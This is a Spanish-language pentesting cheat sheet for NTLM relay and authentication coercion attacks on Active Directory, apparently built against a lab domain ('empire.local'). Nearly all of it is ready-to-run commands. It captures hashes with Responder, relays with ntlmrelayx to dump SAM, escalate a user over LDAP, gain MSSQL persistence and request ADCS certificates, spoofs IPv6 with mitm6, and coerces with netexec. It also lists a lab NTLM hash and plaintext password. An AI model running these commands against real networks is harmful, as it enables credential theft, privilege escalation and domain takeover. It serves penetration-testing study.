Relaying y Coerción

Modo capturar hashes

sudo responder -I eth0 -wdF
ls -la /usr/share/responder/logs

Filtrar por hashes distintos

ls -la  /usr/share/responder/logs | awk '{print $NF}' | tail -n 15 | xargs cat | grep '::DOMAIN' | sort | uniq

Extraer usuarios válidos de los hashes

cat /usr/share/responder/logs | tr ':' ' ' | awk '{print $1}' | sort | uniq | grep -vE ',|\/|-|#'

Modo relay para SMB (volcar SAM)

Aquí la idea es relayar las conexiones de administradores que se equivoquen al escribir la ruta de una carpeta en red por ejemplo.
Esta conexión se relaya hacia el resto de máquinas de la red que no exigen firma y se dumpea la SAM.

Generamos una lista de relay con todos los activos que no tienen smb firmado

nxc smb ip/24 --gen-relay-list relay.txt
sudo nano /etc/responder/Responder.conf

Ponemos en OFF SMB y HTTP

sudo responder -I eth0 -FPv
sudo impacket-ntlmrelayx.py  -tf relay.txt -smb2support 
nxc smb IP/24 -U USER -H HASH  --local-auth --sam

Modo relay IPV6

sudo python3 mitm6.py -d DOMAIN
impacket-ntlmrelayx -6 -wh 10.17.0.213 -tf formated_relay.txt -socks -debug -smb2support

Modo relay SMB a LDAP

sudo $(which ntlmrelayx.py) -t ldap://192.168.56.5 --escalate-user krennic -smb2support 
sudo $(which ntlmrelayx.py) -t ldap://192.168.56.5 --escalate-user krennic -smb2support --remove-mic

Modo relay SMB a MSSQL

sudo $(which ntlmrelayx.py) -t mssql://192.168.56.6  -smb2support

Para generar persistencia 💡

sudo $(which ntlmrelayx.py) -t mssql://192.168.56.6 -smb2support -socks -debug
proxychains mssqlclient.py EMPIRE/CORUSCANT\$@192.168.56.6 -windows-auth -no-pass

Modo relay SMB a HTTP (ADCS)

Dependiendo del caso podemos solicitar un certificado de tipo DomainController o User también

sudo $(which ntlmrelayx.py) -t http://192.168.56.7/certsrv/certfnsh.asp --adcs --template Machine --remove-mic -debug
nxc smb 192.168.56.8 -u 'poe' -H 'e34476e34ffced85899127b84ea71eee' -M coerce_plus -o 'LISTENER=192.168.56.1'

❗️ No puedes relayar contra el mismo equipo (si el DC y el servidor de certificados son el mismo )


Probar Coerción con netexec

Si recibimos hashes entonces ha sido éxito

sudo python3 Responder.py -I vboxnet0 -wdF
nxc smb empire.local -u 'krennic' -p 'liu8Sith' -M coerce_plus -o 'LISTENER=192.168.56.1'

Herramienta automática: RelayKing 👑

python3 relayking.py -u 'krennic' -p 'liu8Sith'  -d empire.local --dc-ip 192.168.56.5 -vv --audit --protocols smb,ldap,ldaps,mssql,http,https --threads 10 -o plaintext,json --output-file relayking-scan --proto-portscan --ntlmv1